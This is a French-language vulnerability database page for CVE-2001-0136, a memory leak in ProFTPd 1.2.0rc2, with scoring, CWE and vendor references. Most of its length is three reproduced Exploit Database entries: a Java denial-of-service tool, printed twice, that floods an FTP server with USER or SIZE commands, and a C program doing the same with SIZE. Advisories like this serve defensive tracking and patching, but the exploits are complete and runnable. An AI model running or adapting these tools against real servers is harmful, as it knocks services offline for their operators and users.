CVE-2001-0136 : Détail

CVE-2001-0136

12.07%V3
Network
2001-09-18
02h00 +00:00
2005-11-02
09h00 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Memory leak in ProFTPd 1.2.0rc2 allows remote attackers to cause a denial of service via a series of USER commands, and possibly SIZE commands if the server has been improperly installed.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-401 Missing Release of Memory after Effective Lifetime
The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 20536

Date de publication : 2000-12-19 23h00 +00:00
Auteur : JeT-Li
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/2185/info A memory leak has been reported in all versions of ProFTPd. The SIZE FTP command causes the server to misallocate and leak small amounts of memory each time the command is executed. If a sufficient number of these commands are executed by the server, substantial amounts of system memory can be consumed, allowing a remote attacker to carry out a denial of service attack on the affected host. This could be problematic if anonymous FTP is enabled or if a malicious local user has been supplied with an FTP login ID. /* ProFTPd DoS version 1.1 Remote DoS in proFTPd Code by: JeT-Li -The Wushu Master- [email protected] Recently I posted a remote DoS for ProFTPd based in the multiple use of the SIZE command in order to crash the system. Now and thanks to the information provided by Wojciech Purczynski I have coded a program that not only use the SIZE command but also the USER command. So at this time access to the ftp is not necessary to manage a DoS attack. The concept is equal to the last exploit one, but using multiple USER instead of SIZE. You don't have to give arguments when you execute the program, it will request you these. Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all the ppl of #hackers (not able for cardiac XD). Vulnerable systems: ProFTPd 1.2.0rc1 (Tested) ProFTPd 1.2.0rc2 (Tested) And maybe others(1.2.0preX); I have no test this, but I'm sure you can do it for me ;-) NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of Wojciech Purczynski ... */ import java.net.*; import java.io.*; class TCPconnection { public TCPconnection (String hostname, int portnumber) throws Exception { Socket s = doaSocket(hostname, portnumber); br = new BufferedReader (new InputStreamReader (s.getInputStream())); ps = new PrintStream (s.getOutputStream()); } public String readLine() throws Exception { String s; try { s = br.readLine(); } catch (IOException ioe) { System.out.println("TCP Error ... it's a little hax0r exception ;-)"); throw new Exception ("\nInput Error: I/O Error"); } return s; } public void println(String s) { ps.println(s); } private Socket doaSocket(String hostname, int portnumber) throws Exception { Socket s = null; int attempts = 0; while (s == null && attempts<maxattempts) { try { s = new Socket(hostname, portnumber); } catch (UnknownHostException uhe) { System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:"); throw new Exception("\nConnection Error: " + "unknown hostname"); } catch (IOException ioe) { System.err.println("The connection was not accomplished due to an I/O Error: trying it again ..."); } attempts++; } if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ..."); else return s; } private final int maxattempts = 5; private BufferedReader br; private PrintStream ps; } class proftpDoS { public static void main(String[] arg) throws Exception { InputStreamReader isr; BufferedReader tcld; String hostnamez, username, password, file, s1, option, option1; int i, j, k, m; isr = new InputStreamReader(System.in); tcld = new BufferedReader(isr); System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-"); System.out.println("Code in an attempt to solve Fermat Last's Theoreme"); System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1"); System.out.println("1) Memory leakage using USER command"); System.out.println("2) Memory leakage using SIZE command"); System.out.print("Option: "); option = tcld.readLine(); m = Integer.parseInt(option); while (!(m==1 || m==2)) { System.out.print("Option not valid, please try again: "); option = tcld.readLine(); m = Integer.parseInt(option); } if (m==1) { hostnamez = ""; while (hostnamez.length()==0) { System.out.print("Please enter the hostname/IP: "); hostnamez = tcld.readLine(); } System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1"); System.out.println("1) Request 15000 size's to the server (it may be enough)"); System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)"); System.out.print("Option: "); option1 = tcld.readLine(); k = Integer.parseInt(option1); while (!(k==1 || k==2)) { System.out.print("Option not valid, please try again: "); option1 = tcld.readLine(); k = Integer.parseInt(option1); } TCPconnection tc = new TCPconnection(hostnamez, 21); if (k==1) { for(i=0;i<15000;i++) tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); } else if (k==2) { for(i=1;i<100;i++) for(j=2;j<((int)Math.pow(j,i ));j++) tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); } tc.println("quit"); s1 = tc.readLine(); while (s1!=null) { s1 = tc.readLine(); System.out.println("Attack completed ... as one of my friends says:"); System.out.println("Hack just r0cks ;-)"); } } else if (m==2) { hostnamez = ""; while (hostnamez.length()==0) { System.out.print("Please enter the hostname/IP: "); hostnamez = tcld.readLine(); } username = ""; while (username.length()==0) { System.out.print("Enter the username: "); username = tcld.readLine(); } password = ""; while (password.length()==0) { System.out.print("Enter the password for that username: "); password = tcld.readLine(); } file = ""; while (file.length()==0) { System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): "); file = tcld.readLine(); } System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1"); System.out.println("1) Request 15000 size's to the server (it may be enough)"); System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)"); System.out.print("Option: "); option1 = tcld.readLine(); k = Integer.parseInt(option1); while (!(k==1 || k==2)) { System.out.print("Option not valid, please try again: "); option1 = tcld.readLine(); k = Integer.parseInt(option1); } TCPconnection tc = new TCPconnection(hostnamez, 21); tc.println("user " + username); tc.println("pass " + password); if (k==1) { for(i=0;i<10000;i++) tc.println("size " + file); } else if (k==2) { for(i=1;i<100;i++) for(j=2;j<((int)Math.pow(j,i ));j++) tc.println("size " + file); } tc.println("quit"); s1 = tc.readLine(); while (s1!=null) { s1 = tc.readLine(); System.out.println("Attack completed ... as one of my friends says:"); System.out.println("Hack just r0cks ;-)"); } } } }
Exploit Database EDB-ID : 244

Date de publication : 2001-01-11 23h00 +00:00
Auteur : JeT-Li
EDB Vérifié : Yes

/* ProFTPd DoS version 1.1 Remote DoS in proFTPd Code by: JeT-Li -The Wushu Master- [email protected] Recently I posted a remote DoS for ProFTPd based in the multiple use of the SIZE command in order to crash the system. Now and thanks to the information provided by Wojciech Purczynski I have coded a program that not only use the SIZE command but also the USER command. So at this time access to the ftp is not necessary to manage a DoS attack. The concept is equal to the last exploit one, but using multiple USER instead of SIZE. You don't have to give arguments when you execute the program, it will request you these. Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all the ppl of #hackers (not able for cardiac XD). Vulnerable systems: ProFTPd 1.2.0rc1 (Tested) ProFTPd 1.2.0rc2 (Tested) And maybe others(1.2.0preX); I have no test this, but I'm sure you can do it for me ;-) NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of Wojciech Purczynski ... */ import java.net.*; import java.io.*; class TCPconnection { public TCPconnection (String hostname, int portnumber) throws Exception { Socket s = doaSocket(hostname, portnumber); br = new BufferedReader (new InputStreamReader (s.getInputStream())); ps = new PrintStream (s.getOutputStream()); } public String readLine() throws Exception { String s; try { s = br.readLine(); } catch (IOException ioe) { System.out.println("TCP Error ... it's a little hax0r exception ;-)"); throw new Exception ("\nInput Error: I/O Error"); } return s; } public void println(String s) { ps.println(s); } private Socket doaSocket(String hostname, int portnumber) throws Exception { Socket s = null; int attempts = 0; while (s == null && attempts<maxattempts) { try { s = new Socket(hostname, portnumber); } catch (UnknownHostException uhe) { System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:"); throw new Exception("\nConnection Error: " + "unknown hostname"); } catch (IOException ioe) { System.err.println("The connection was not accomplished due to an I/O Error: trying it again ..."); } attempts++; } if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ..."); else return s; } private final int maxattempts = 5; private BufferedReader br; private PrintStream ps; } class proftpDoS { public static void main(String[] arg) throws Exception { InputStreamReader isr; BufferedReader tcld; String hostnamez, username, password, file, s1, option, option1; int i, j, k, m; isr = new InputStreamReader(System.in); tcld = new BufferedReader(isr); System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-"); System.out.println("Code in an attempt to solve Fermat Last's Theoreme"); System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1"); System.out.println("1) Memory leakage using USER command"); System.out.println("2) Memory leakage using SIZE command"); System.out.print("Option: "); option = tcld.readLine(); m = Integer.parseInt(option); while (!(m==1 || m==2)) { System.out.print("Option not valid, please try again: "); option = tcld.readLine(); m = Integer.parseInt(option); } if (m==1) { hostnamez = ""; while (hostnamez.length()==0) { System.out.print("Please enter the hostname/IP: "); hostnamez = tcld.readLine(); } System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1"); System.out.println("1) Request 15000 size's to the server (it may be enough)"); System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)"); System.out.print("Option: "); option1 = tcld.readLine(); k = Integer.parseInt(option1); while (!(k==1 || k==2)) { System.out.print("Option not valid, please try again: "); option1 = tcld.readLine(); k = Integer.parseInt(option1); } TCPconnection tc = new TCPconnection(hostnamez, 21); if (k==1) { for(i=0;i<15000;i++) tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); } else if (k==2) { for(i=1;i<100;i++) for(j=2;j<((int)Math.pow(j,i ));j++) tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); } tc.println("quit"); s1 = tc.readLine(); while (s1!=null) { s1 = tc.readLine(); System.out.println("Attack completed ... as one of my friends says:"); System.out.println("Hack just r0cks ;-)"); } } else if (m==2) { hostnamez = ""; while (hostnamez.length()==0) { System.out.print("Please enter the hostname/IP: "); hostnamez = tcld.readLine(); } username = ""; while (username.length()==0) { System.out.print("Enter the username: "); username = tcld.readLine(); } password = ""; while (password.length()==0) { System.out.print("Enter the password for that username: "); password = tcld.readLine(); } file = ""; while (file.length()==0) { System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): "); file = tcld.readLine(); } System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1"); System.out.println("1) Request 15000 size's to the server (it may be enough)"); System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)"); System.out.print("Option: "); option1 = tcld.readLine(); k = Integer.parseInt(option1); while (!(k==1 || k==2)) { System.out.print("Option not valid, please try again: "); option1 = tcld.readLine(); k = Integer.parseInt(option1); } TCPconnection tc = new TCPconnection(hostnamez, 21); tc.println("user " + username); tc.println("pass " + password); if (k==1) { for(i=0;i<10000;i++) tc.println("size " + file); } else if (k==2) { for(i=1;i<100;i++) for(j=2;j<((int)Math.pow(j,i ));j++) tc.println("size " + file); } tc.println("quit"); s1 = tc.readLine(); while (s1!=null) { s1 = tc.readLine(); System.out.println("Attack completed ... as one of my friends says:"); System.out.println("Hack just r0cks ;-)"); } } } }
Exploit Database EDB-ID : 241

Date de publication : 2001-01-02 23h00 +00:00
Auteur : Piotr Zurawski
EDB Vérifié : Yes

/* | Proftpd DoS | by Piotr Zurawski ([email protected]) | This source is just an example of memory leakage in proftpd-1.2.0(rc2) | server discovered by Wojciech Purczynski. | */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <string.h> #include <ctype.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <arpa/nameser.h> #include <netdb.h> #define USERNAME "anonymous" #define PASSWORD "[email protected]" #define HOWMANY 10000 void logintoftp(); void sendsizes(); int fd; struct in_addr host; unsigned short port = 21; int tcp_connect(struct in_addr addr,unsigned short port); int main(int argc, char **argv) { if (!resolve(argv[1],&host)) { fprintf(stderr,"Hostname lookup failure\n"); exit(0); } fd=tcp_connect(host,port); logintoftp(fd); printf("Logged\n"); sendsizes(fd); printf("Now check out memory usage of proftpd daemon"); printf("Resident set size (RSS) and virtual memory size (VSIZE)"); printf("fields in ps output"); } void logintoftp() { char snd[1024], rcv[1024]; int n; printf("Logging " USERNAME "/" PASSWORD "\r\n"); memset(snd, '\0', 1024); sprintf(snd, "USER %s\r\n", USERNAME); write(fd, snd, strlen(snd)); while((n=read(fd, rcv, sizeof(rcv))) > 0) { rcv[n] = 0; if(strchr(rcv, '\n') != NULL)break; } memset(snd, '\0', 1024); sprintf(snd, "PASS %s\r\n", PASSWORD); write(fd, snd, strlen(snd)); while((n=read(fd, rcv, sizeof(rcv))) > 0) { rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void sendsizes() { char snd[1024], rcv[1024]; unsigned long loop; printf ("Sending %i size commands... \n", HOWMANY); for(loop=0;loop<HOWMANY;loop++) { sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha\n"); write(fd, snd, strlen(snd)); } return; } int tcp_connect(struct in_addr addr,unsigned short port) { int fd; struct sockaddr_in serv; bzero(&serv,sizeof(serv)); serv.sin_addr=addr; serv.sin_port=htons(port); serv.sin_family=AF_INET; if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)\ { perror("socket"); exit(0); } if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) { perror("connect"); exit(0); } return(fd); } int resolve(char *hostname,struct in_addr *addr) { struct hostent *res; res=gethostbyname(hostname); if (res==NULL) return(0); memcpy((char *)addr,res->h_addr,res->h_length); return(1); }

Products Mentioned

Configuraton 0

Proftpd>>Proftpd >> Version 1.2.0

Configuraton 0

Conectiva>>Linux >> Version *

Debian>>Debian_linux >> Version 2.2

Mandrakesoft>>Mandrake_linux >> Version 7.2

Références

http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000380
Tags : vendor-advisory, x_refsource_CONECTIVA
http://www.securityfocus.com/archive/1/152206
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.debian.org/security/2001/dsa-029
Tags : vendor-advisory, x_refsource_DEBIAN